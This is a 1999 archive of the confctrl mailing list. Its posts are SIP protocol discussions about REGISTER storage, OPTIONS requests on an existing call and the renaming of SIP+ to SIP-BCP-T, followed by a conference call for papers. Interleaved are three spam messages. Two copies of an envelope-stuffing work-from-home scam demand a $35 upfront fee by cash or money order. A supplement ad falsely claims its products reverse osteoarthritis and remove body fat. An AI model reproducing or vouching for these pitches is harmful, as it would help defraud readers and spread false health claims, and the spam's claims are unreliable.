Date: Wed, 29 Sep 1999 13:32:36 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Anurag Vohra <vohra@indts.com>
CC: "'Anders Kristensen'" <ak@hplb.hpl.hp.com>, confctrl <confctrl@ISI.EDU>,
        SIP <sip@lists.research.bell-labs.com>
Subject: Re: A few questions on REGISTER
References: <01BF0ABF.549C6470@B_ANURAG>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Anurag Vohra wrote:
> 
> Can we do the following as an alternative -
> 
>   The registrar server apart from storing in its local memory store the information in a directory server using LDAP. All new registrations are also updated there. One can restart any time for maintenace without losing any info. Or use a another back up server which can always read the current information from the directory server. Keeping it in one place will also help in sharing registration information between proxy server. I don't know whether this is a requirement, but feel this also can have a use.

How you implement your system is your choice. Handling directories and
data storage has nothing to do with SIP. 

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Sep 29 14:22:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA17208
	for confctrl-outgoing; Wed, 29 Sep 1999 14:22:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA17189
	for <confctrl@zephyr.isi.edu>; Wed, 29 Sep 1999 14:22:22 -0700 (PDT)
Received: from ns.bigbear.net (p40.amax11.dialup.lax1.flash.net [209.30.76.40])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA19437;
	Wed, 29 Sep 1999 14:21:56 -0700 (PDT)
From: mhco@mindspring.com
Subject: Homeworkers Needed!
Date: Wed, 29 Sep 1999 10:55:54
Message-Id: <307.159825.379152@ns.bigbear.net>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Future Associate,

You Can Work At Home & Set Your Own Hours.  Start earning Big 
Money in a short time
       
                                    NO Newspaper Advertising!

Your job will be to stuff and mail envelopes for our company. You 
will receive $.25 for each and every envelope you stuff and mail 
out.

Just follow our simple instructions and you will be making money 
as easy as
1… 2… 3

For example stuff and mail 200 envelopes and you will receive 
$50.00. Stuff and mail 1000 and you will receive $250.00. Stuff 
and mail 2000 and you will receive $500.00 and more 

Never before has there been an easier way to make money from 
home!

Our Company's Home Mailing Program is designed for people with 
little or no experience and provides simple, step by step 
instructions.  

There is no prior experience or special skills necessary on your 
part, Just stuffing envelopes.

We need the help of honest and reliable home workers like you.  
Because we are overloaded with work and have more than our staff 
can handle. We have now expanded our mailing program and are 
expecting to reach millions more with our offers throughout the 
US and Canada.

Our system of stuffing and mailing envelopes is very simple and 
easy to do!
You will not be required to buy envelopes or postage stamps.

We will gladly furnish all circulars at no cost to you. We assure 
you that as a participant in our program you will never have to 
mail anything objective or offensive. 

There are no quotas to meet, and there no contracts to sign. You 
can work as much, or as little as you want. Payment for each 
envelope you send out is Guaranteed!

Here is what you will receive when you get your first Package.  
Inside you will find 100 envelopes, 100 labels and 100 sales 
letters ready to stuff and mail

As soon as you are done with stuffing and mailing these first 
letters, your payment will arrive shortly, thereafter. All you 
have to do is to order more free supplies and stuff and mail more 
envelopes to make more money.

Our sales literature which you will be stuffing and mailing will 
contain
information outlining our highly informative manuals that we are
advertising nationwide.  As a free gift you will receive a 
special manual valued at  $24.95, absolutely free, just for 
joining our Home Mailers Program.

Plus you will get your own special code number, so that we will 
know how much you are to get paid.  And to make re-ordering of 
more envelopes, that our company supplies very simple for you.

We are giving you this free bonus because we want you to be 
confident in our company and to ensure that we will be doing 
business with you for a long time.

Benefits Of This Job:

1. You do not have to quit your present job, to earn more money 
at home
2. You can make between $2,500 to $4,500 a month depending on the 
amount of time you are willing to spend stuffing and mailing 
envelopes
3. This is a great opportunity for the students, mothers, 
disabled persons or those who are home bodies.

To secure your position and to show us that you are serious about 
earning extra income at home we require a one-time registration 
fee of $35.00.
This fee covers the cost of your initial start up package,  which 
includes 100 envelopes, 100 labels and 100 sales letters and a 
manual, your registration fee will be refunded back to you 
shortly thereafter.

Money Back Guarantee!

We guarantee that as soon as you stuff and mail your first 300 
envelopes You will be paid $75.00 and your registration fee will 
be refunded.

Many of you wonder why it is necessary to pay a deposit to get a 
job. It is because we are looking for people that seriously want 
to work from home.  

*  If 3.000 people told us they wanted to start working from home 
and we sent out 3.000 packages free to every one.  And then half 
of the people decided not to work, this would be a potential loss 
of more than $60,000 in supply's and shipping that we have sent 
out to people that don't want to work

We have instituted this policy to make sure that you really want 
to work and at least finish your first package.

To Get Started Today Please Enclose Your Registration Fee of $35
Check,Cash Or Money Order and fill out the application below and 
mail to:

MOHW Co
11054 Ventura Blvd PMB #126
Studio City, CA 91604
Name_____________________________________________________

Address___________________________________________________

City____________________________________ State______________

Zip Code________________

Telephone Number(s)_________________________________________

E-mail Address______________________________________________



For all orders, please allow seven (7) days for delivery and up 
to 10 days. Cash and Money Orders will result in faster shipping of your 
package.
 
 
 
 
 
 
 
 
 
 

From confctrl-owner  Sun Oct  3 10:12:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA18773
	for confctrl-outgoing; Sun, 3 Oct 1999 10:12:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA18768
	for <confctrl@zephyr.isi.edu>; Sun, 3 Oct 1999 10:12:10 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA01843
	for <confctrl@ISI.EDU>; Sun, 3 Oct 1999 10:12:09 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id NAA11272;
	Sun, 3 Oct 1999 13:12:04 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id NAA14857;
	Sun, 3 Oct 1999 13:12:03 -0400 (EDT)
Message-ID: <37F78E56.FDAF5395@cs.columbia.edu>
Date: Sun, 03 Oct 1999 13:11:50 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Shary <shary@coritel.it>, SIPML <confctrl@ISI.EDU>
Subject: Re: Invite and Option
References: <000501bf0992$5033a3e0$33f2cdc1@coritel.it> <37F0CF90.6122C00D@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Shary wrote:
> >
> > Hello everybody,
> >
> > I have a question and I hope someone can help me. How does a server react
> > when it receives an option with the same call-leg after an invite? Does it:
> >  1) manage it in parallel? or
> >  2) ignore the option and continue managing the invite? or
> >  3) reply with a response 400 and terminate both (invite and option)?
> 
> Although nothing stops you from sending an OPTIONS with the same Call-ID
> as an existing call, there is no strong relationship between the
> response to the OPTIONS and the state of the existing call. The spec
> says to answer 200 OK if the user can be reached, and since they
> obviously can be, a 200 OK response is in order. The UAS should respond
> to the OPTIONS as it would if there were no call - return the MIME types
> understood in the Accept header, methods in the Allow, and so on. I'm
> unsure what the body should be; the spec says to return the capabilities
> of the user. There is no specified way to do this in SDP, although its
> not too hard to imagine. I would prefer NOT to return the SDP for the
> call associated with the Call-ID of the OPTIONS, but rather return the
> generic SDP which indicates capabilities. This makes OPTIONS
> consistently call-indepenent. So, to answer your specific questions:
> 
> 1. parallel - yes
> 2. no, respond to the OPTIONS with a 200 OK
> 3. no, the OPTIONS has no affect on the in progress call

Added/modified the following wording to the OPTIONS section:

A server {\SHOULD} return \header{Allow}, \header{Accept},
\header{Accept-Encoding}, \header{Accept-Language} and
\header{Supported} header fields.  The response {\MAY} contain a message
body indicating the capabilities of the end system (rather than 
properties of any existing call).

The use of the \header{Call-ID} header field is discussed in
Section~\ref{sec:Call-ID}.  An {\OPTIONS} requests for an existing
call-id has no impact on that call.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Sun Oct  3 20:24:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA12263
	for confctrl-outgoing; Sun, 3 Oct 1999 20:24:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA12258
	for <confctrl@zephyr.isi.edu>; Sun, 3 Oct 1999 20:24:32 -0700 (PDT)
Received: from nt1.yourhost.com (nt1.yourhost.com [209.164.24.39])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA22019
	for <confctrl@isi.edu>; Sun, 3 Oct 1999 20:24:31 -0700 (PDT)
Received: from cs74646-a [24.64.108.254] by nt1.yourhost.com
  (SMTPD32-5.01) id AE0C1B700F4; Sun, 03 Oct 1999 20:25:00 PDT
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: 9121<9121@yourhost.com>
To: seacat2@hotmail.com
Subject: Look and Feel 10, 15, 20 Years Younger
Message-ID: <199910376968_FNetMailer>
Date: Sun,  3 Oct 1999 20:28:03 PDT
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


        Did you see the March 3, 1999 Oprah Winfrey show with guest Dr, Klatz, regarding the future of medicine? If not, I recommend you pick up a copy of his #1 selling book " Grow Young With HGH" at your favorite bookstore. HGH (human growth hormone) is the ultimate anti-aging therapy, bar none! It affects almost every cell in the body, rejuvenating the skin and bones, regenerating the heart, liver, lungs, and kidneys, bringing organ and tissue function back to youthful levels. It may be the most powerful aphrodisiac ever discovered reviving flagging sexuality and potency in older men.

        Life Force International is now offering these nutritional products for sale online via secure credit card order forms. All orders are factory shipped directly to your home within a few days. Here are just a few of the incredible products that we are now offering;

BODY BALANCE: (anti - aging formula) This product contains powerful phytor - nutrients that nourish the body's cells, tissues and organs while providing powerful antioxidants properties that fight damage caused by aging, pollution and harmful chemicals.

OSTEOPROCARE:  This life - changing product includes the ingredients made famous by the # 1 New York   Times best seller, The Arthritis cure; the Medical Miracle That Can Halt. This product may reverse and even cure osteoarthritis

DREAM AWAY:  Over 50 million Americans are on a diet of some kind, and are frustrated to tears! Dieting doesn't work for the simple reason that if you restrict calories, the body goes into starvation mode and starts consuming muscle mass for fuel and storing fat for reserves. Dream Away was developed by an M.D. and has extensive scientific research behind it. A unique combination of nutrients instructs your body to use fat rather than muscle for energy. These ingredients work in synergy to help you achieve your health and appearance goals.

HERBAL BODY WRAP: (weight loss formula) Plastic surgery has become the weight reduction choice of the century, making plastic surgeons rich! It brings new meaning to the concept, " living off the fat of the land". Life Force offers an economical, healthy, all natural alternative. Herbal Body wrap actually REMOVES FAT FROM YOUR BODY WITHOUT SURGERY.

To purchase or view any of these incredible products and have them shipped to your home within days click on the link below.

http://amsquare.com/lifeforce/

If this e mail has been sent to you in error and you wish to be removed from our mailing list please reply and put remove in the subject header.





From confctrl-owner  Mon Oct  4 10:13:00 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA16879
	for confctrl-outgoing; Mon, 4 Oct 1999 10:13:00 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA16778;
	Mon, 4 Oct 1999 10:12:10 -0700 (PDT)
Received: from ns.bigbear.net (p16.amax11.dialup.lax1.flash.net [209.30.76.16])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id KAA23980;
	Mon, 4 Oct 1999 10:11:22 -0700 (PDT)
From: mowhc@mindspring.com
Subject: Homeworkers Needed!
Date: Mon, 4 Oct 1999 06:45:37
Message-Id: <460.798014.521960@ns.bigbear.net>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Future Associate,

You Can Work At Home & Set Your Own Hours.  Start earning Big 
Money in a short time
       
                                    NO Newspaper Advertising!

Your job will be to stuff and mail envelopes for our company. You 
will receive $.25 for each and every envelope you stuff and mail 
out.

Just follow our simple instructions and you will be making money 
as easy as
1… 2… 3

For example stuff and mail 200 envelopes and you will receive 
$50.00. Stuff and mail 1000 and you will receive $250.00. Stuff 
and mail 2000 and you will receive $500.00 and more 

Never before has there been an easier way to make money from 
home!

Our Company's Home Mailing Program is designed for people with 
little or no experience and provides simple, step by step 
instructions.  

There is no prior experience or special skills necessary on your 
part, Just stuffing envelopes.

We need the help of honest and reliable home workers like you.  
Because we are overloaded with work and have more than our staff 
can handle. We have now expanded our mailing program and are 
expecting to reach millions more with our offers throughout the 
US and Canada.

Our system of stuffing and mailing envelopes is very simple and 
easy to do!
You will not be required to buy envelopes or postage stamps.

We will gladly furnish all circulars at no cost to you. We assure 
you that as a participant in our program you will never have to 
mail anything objective or offensive. 

There are no quotas to meet, and there no contracts to sign. You 
can work as much, or as little as you want. Payment for each 
envelope you send out is Guaranteed!

Here is what you will receive when you get your first Package.  
Inside you will find 100 envelopes, 100 labels and 100 sales 
letters ready to stuff and mail

As soon as you are done with stuffing and mailing these first 
letters, your payment will arrive shortly, thereafter. All you 
have to do is to order more free supplies and stuff and mail more 
envelopes to make more money.

Our sales literature which you will be stuffing and mailing will 
contain
information outlining our highly informative manuals that we are
advertising nationwide.  As a free gift you will receive a 
special manual valued at  $24.95, absolutely free, just for 
joining our Home Mailers Program.

Plus you will get your own special code number, so that we will 
know how much you are to get paid.  And to make re-ordering of 
more envelopes, that our company supplies very simple for you.

We are giving you this free bonus because we want you to be 
confident in our company and to ensure that we will be doing 
business with you for a long time.

Benefits Of This Job:

1. You do not have to quit your present job, to earn more money 
at home
2. You can make between $2,500 to $4,500 a month depending on the 
amount of time you are willing to spend stuffing and mailing 
envelopes
3. This is a great opportunity for the students, mothers, 
disabled persons or those who are home bodies.

To secure your position and to show us that you are serious about 
earning extra income at home we require a one-time registration 
fee of $35.00.
This fee covers the cost of your initial start up package,  which 
includes 100 envelopes, 100 labels and 100 sales letters and a 
manual, your registration fee will be refunded back to you 
shortly thereafter.

Money Back Guarantee!

We guarantee that as soon as you stuff and mail your first 300 
envelopes You will be paid $75.00 and your registration fee will 
be refunded.

Many of you wonder why it is necessary to pay a deposit to get a 
job. It is because we are looking for people that seriously want 
to work from home.  

*  If 3.000 people told us they wanted to start working from home 
and we sent out 3.000 packages free to every one.  And then half 
of the people decided not to work, this would be a potential loss 
of more than $60,000 in supply's and shipping that we have sent 
out to people that don't want to work

We have instituted this policy to make sure that you really want 
to work and at least finish your first package.

To Get Started Today Please Enclose Your Registration Fee of $35
Check,Cash Or Money Order and fill out the application below and 
mail to:

MOHW Co
11054 Ventura Blvd PMB #126
Studio City, CA 91604
Name_____________________________________________________

Address___________________________________________________

City____________________________________ State______________

Zip Code________________

Telephone Number(s)_________________________________________

E-mail Address______________________________________________



For all orders, please allow seven (7) days for delivery and up 
to 10 days. Cash and Money Orders will result in faster shipping of your 
package.
 
 
 
 
 
 
 
 
 
 
 
 

From confctrl-owner  Wed Oct  6 06:04:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA07511
	for confctrl-outgoing; Wed, 6 Oct 1999 06:04:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA07506
	for <confctrl@zephyr.isi.edu>; Wed, 6 Oct 1999 06:04:02 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA19029
	for <confctrl@isi.edu>; Wed, 6 Oct 1999 06:02:41 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id TAA28012
	for <confctrl@isi.edu>; Wed, 6 Oct 1999 19:04:23 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 65256802.00478236 ; Wed, 6 Oct 1999 18:31:03 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
Message-ID: <65256802.004759D7.00@sampark.hss.hns.com>
Date: Wed, 6 Oct 1999 18:30:58 +0530
Subject: SIP+ latest draft
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
It seems hgs' site is down - have been trying to access it - but :-(
I have with me an old copy of SIP+ from Level 3. That was long ago -
could anyone point me to the updated version - where  I can get it from
(besides hgs' site which seems down)

Thx
Regds
Arjun

--
Arjun Roychowdhury @ Hughes Software Systems
Off: Prestige Opal,146 Infantry Road,Blore - 560001  Ph:+91-080-2286390/1/2



From confctrl-owner  Wed Oct  6 06:35:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA08660
	for confctrl-outgoing; Wed, 6 Oct 1999 06:35:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA08655
	for <confctrl@zephyr.isi.edu>; Wed, 6 Oct 1999 06:35:20 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA20183
	for <confctrl@isi.edu>; Wed, 6 Oct 1999 06:35:04 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id TAA29996
	for <confctrl@isi.edu>; Wed, 6 Oct 1999 19:36:02 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 65256802.004A63E2 ; Wed, 6 Oct 1999 19:02:32 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
Message-ID: <65256802.0049F6AA.00@sampark.hss.hns.com>
Date: Wed, 6 Oct 1999 19:02:27 +0530
Subject: SIP+ latest draft - Follow up
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi a followup to my mail:

I have just gone thru draft-zimmerer-mmusic-sip-bcp-t-00.txt and
draft-ietf-mmusic-sip-info-method-01.txt
Both these two together  suggest one form of MGC-MGC communication.

I also have the SIP+ doc from Level 3 (ed 0.0 draft 0.1) which suggests a
different one.

Which out of the two have gained more prominence as of now ?

The sip-bcp doc dated Sep 1999 is more recent than the SIP+ doc I have -
has SIP+ eveloved beyond the doc I have ?

Thx for any input !
Regds
Arjun

--
Arjun Roychowdhury @ Hughes Software Systems
Off: Prestige Opal,146 Infantry Road,Blore - 560001  Ph:+91-080-2286390/1/2




---------------------- Forwarded by Arjun Roychowdhury/HSSBLR on 10/06/99
07:02 PM ---------------------------


Arjun Roychowdhury
10/06/99 06:30 PM

To:   confctrl@isi.edu
cc:
Subject:  SIP+ latest draft

Hi,
It seems hgs' site is down - have been trying to access it - but :-(
I have with me an old copy of SIP+ from Level 3. That was long ago -
could anyone point me to the updated version - where  I can get it from
(besides hgs' site which seems down)

Thx
Regds
Arjun

--
Arjun Roychowdhury @ Hughes Software Systems
Off: Prestige Opal,146 Infantry Road,Blore - 560001  Ph:+91-080-2286390/1/2




From confctrl-owner  Wed Oct  6 07:52:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA11967
	for confctrl-outgoing; Wed, 6 Oct 1999 07:52:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA11962
	for <confctrl@zephyr.isi.edu>; Wed, 6 Oct 1999 07:52:41 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24297
	for <confctrl@ISI.EDU>; Wed, 6 Oct 1999 07:52:40 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id KAA22714;
	Wed, 6 Oct 1999 10:52:39 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id KAA11981;
	Wed, 6 Oct 1999 10:52:39 -0400 (EDT)
Message-ID: <37FB6228.4FEF15F@cs.columbia.edu>
Date: Wed, 06 Oct 1999 10:52:24 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: archow@hss.hns.com
CC: confctrl@ISI.EDU
Subject: Re: SIP+ latest draft - Follow up
References: <65256802.0049F6AA.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

archow@hss.hns.com wrote:
> 
> Hi a followup to my mail:

As a meta-point, this discussion should be on the SIP mailing list, not
confctrl.

> 
> I have just gone thru draft-zimmerer-mmusic-sip-bcp-t-00.txt and
> draft-ietf-mmusic-sip-info-method-01.txt
> Both these two together  suggest one form of MGC-MGC communication.

The term SIP+ is obsolete and should not be used. It just creates
confusion. There is no separate protocol, just a set of recommendation,
the BCP, for carrying multipart MIME messages in SIP, plus some other
extensions.

I've added this to the FAQ and moved the document below to the
"historical" section. 

> 
> I also have the SIP+ doc from Level 3 (ed 0.0 draft 0.1) which suggests a
> different one.

This document is outdated.

> 
> Which out of the two have gained more prominence as of now ?
> 
> The sip-bcp doc dated Sep 1999 is more recent than the SIP+ doc I have -
> has SIP+ eveloved beyond the doc I have ?
> 


> Hi,
> It seems hgs' site is down - have been trying to access it - but :-(

The site is back up.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Oct  6 10:45:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA21434
	for confctrl-outgoing; Wed, 6 Oct 1999 10:45:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA21429
	for <confctrl@zephyr.isi.edu>; Wed, 6 Oct 1999 10:45:10 -0700 (PDT)
Received: from l3mail02.level3.com (l3mail02.l3.com [209.119.32.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA14641
	for <confctrl@ISI.EDU>; Wed, 6 Oct 1999 10:45:09 -0700 (PDT)
From: Aparna.Vemuri@Level3.com
Received: by level3.com with Internet Mail Service (5.5.2448.0)
	id <4L840C6L>; Wed, 6 Oct 1999 11:44:02 -0600
Message-ID: <6DD3824BDF75D211930E0008C71EC920040966CE@l3lsvlmail02.l3.com>
To: archow@hss.hns.com, confctrl@ISI.EDU
Subject: RE: SIP+ latest draft - Follow up
Date: Wed, 6 Oct 1999 11:38:25 -0600 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Arjun,

SIP+ has been re-named the SIP-BCP-T and the draft that you mention
is the latest. We are, however working on a second version and hope to put 
one out soon. Your feedback on the BCP would be appreciated.

Thanks,
Aparna

Aparna V.
Level 3 Communications.


-----Original Message-----
From: archow@hss.hns.com [mailto:archow@hss.hns.com]
Sent: Wednesday, October 06, 1999 7:32 AM
To: confctrl@ISI.EDU
Subject: SIP+ latest draft - Follow up


Hi a followup to my mail:

I have just gone thru draft-zimmerer-mmusic-sip-bcp-t-00.txt and
draft-ietf-mmusic-sip-info-method-01.txt
Both these two together  suggest one form of MGC-MGC communication.

I also have the SIP+ doc from Level 3 (ed 0.0 draft 0.1) which suggests a
different one.

Which out of the two have gained more prominence as of now ?

The sip-bcp doc dated Sep 1999 is more recent than the SIP+ doc I have -
has SIP+ eveloved beyond the doc I have ?

Thx for any input !
Regds
Arjun

--
Arjun Roychowdhury @ Hughes Software Systems
Off: Prestige Opal,146 Infantry Road,Blore - 560001  Ph:+91-080-2286390/1/2




---------------------- Forwarded by Arjun Roychowdhury/HSSBLR on 10/06/99
07:02 PM ---------------------------


Arjun Roychowdhury
10/06/99 06:30 PM

To:   confctrl@isi.edu
cc:
Subject:  SIP+ latest draft

Hi,
It seems hgs' site is down - have been trying to access it - but :-(
I have with me an old copy of SIP+ from Level 3. That was long ago -
could anyone point me to the updated version - where  I can get it from
(besides hgs' site which seems down)

Thx
Regds
Arjun

--
Arjun Roychowdhury @ Hughes Software Systems
Off: Prestige Opal,146 Infantry Road,Blore - 560001  Ph:+91-080-2286390/1/2



From confctrl-owner  Thu Oct  7 14:02:00 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA01493
	for confctrl-outgoing; Thu, 7 Oct 1999 14:02:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA01484
	for <confctrl@zephyr.isi.edu>; Thu, 7 Oct 1999 14:01:57 -0700 (PDT)
Received: from ariel.gi.com (ariel.gi.com [168.84.84.10])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA22473;
	Thu, 7 Oct 1999 14:01:55 -0700 (PDT)
Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #38811)
 with ESMTP id <01JGUT6UUZZABV9EOW@GI.COM>; Thu, 7 Oct 1999 14:01:04 PDT
Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21)
	id <TZHGGCAD>; Thu, 07 Oct 1999 14:05:13 -0400
Content-return: allowed
Date: Thu, 07 Oct 1999 17:00:59 -0400
From: "Lalwaney, Poornima (SD-EX)" <PLalwaney@gi.com>
Subject: Call for Papers - Networld+Interop2000
To: "'end2end-interest@isi.edu'" <end2end-interest@ISI.EDU>,
        "'impp@iastate.edu'" <impp@iastate.edu>,
        "'ipcdn@terayon.com'" <ipcdn@terayon.com>,
        "'ipng@sunroof.eng.sun.com'" <ipng@sunroof.eng.sun.com>,
        "'aaa-wg@merit.edu'" <aaa-wg@merit.edu>,
        "'mobile-ip@standards.nortelnetworks.com'"
 <mobile-ip@standards.nortelnetworks.com>,
        "'rem-conf@es.net'" <rem-conf@es.net>,
        "'tcpsat@grc.nasa.gov'" <tcpsat@grc.nasa.gov>,
        "'pilc@grc.nasa.gov'" <pilc@grc.nasa.gov>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
        "'megaco@standards.nortelnetworks.com'" <megaco@standards.nortelnetworks.com>,
        "'diffserv@ietf.org'" <diffserv@ietf.org>
Message-id: <97DEDE66B3DCD11199D200805FA71BE2021D5ECC@ntas0027.gi.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: multipart/alternative;
	boundary="----_=_NextPart_001_01BF10EE.803C8918"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF10EE.803C8918
Content-Type: text/plain

Apologize for the wide cross-posting
----------------------------------------------------------------------------
-------------------
CALL FOR PAPERS
Engineers Conference on Broadband Internet Access Technologies, Systems and
Services
May 10-11, 2000 - Las Vegas Conventions Center as  part of  the
Networld+Interop'2000 Program
For the detailed call for papers and the program see:
http://www.comsoc.org/confs/engconf/2000/EngConf.htm


Paper Submission Deadline - December 1, 1999
----------------------------------------------------------------------------
---------------------------





------_=_NextPart_001_01BF10EE.803C8918
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2650.12">
<TITLE>Call for Papers - Networld+Interop2000</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Apologize for the wide =
cross-posting</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">---------------------------------------------------------=
--------------------------------------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">CALL FOR PAPERS</FONT>
<BR><FONT FACE=3D"Times New Roman">Engineers Conference on Broadband =
Internet Access Technologies, Systems and Services</FONT>
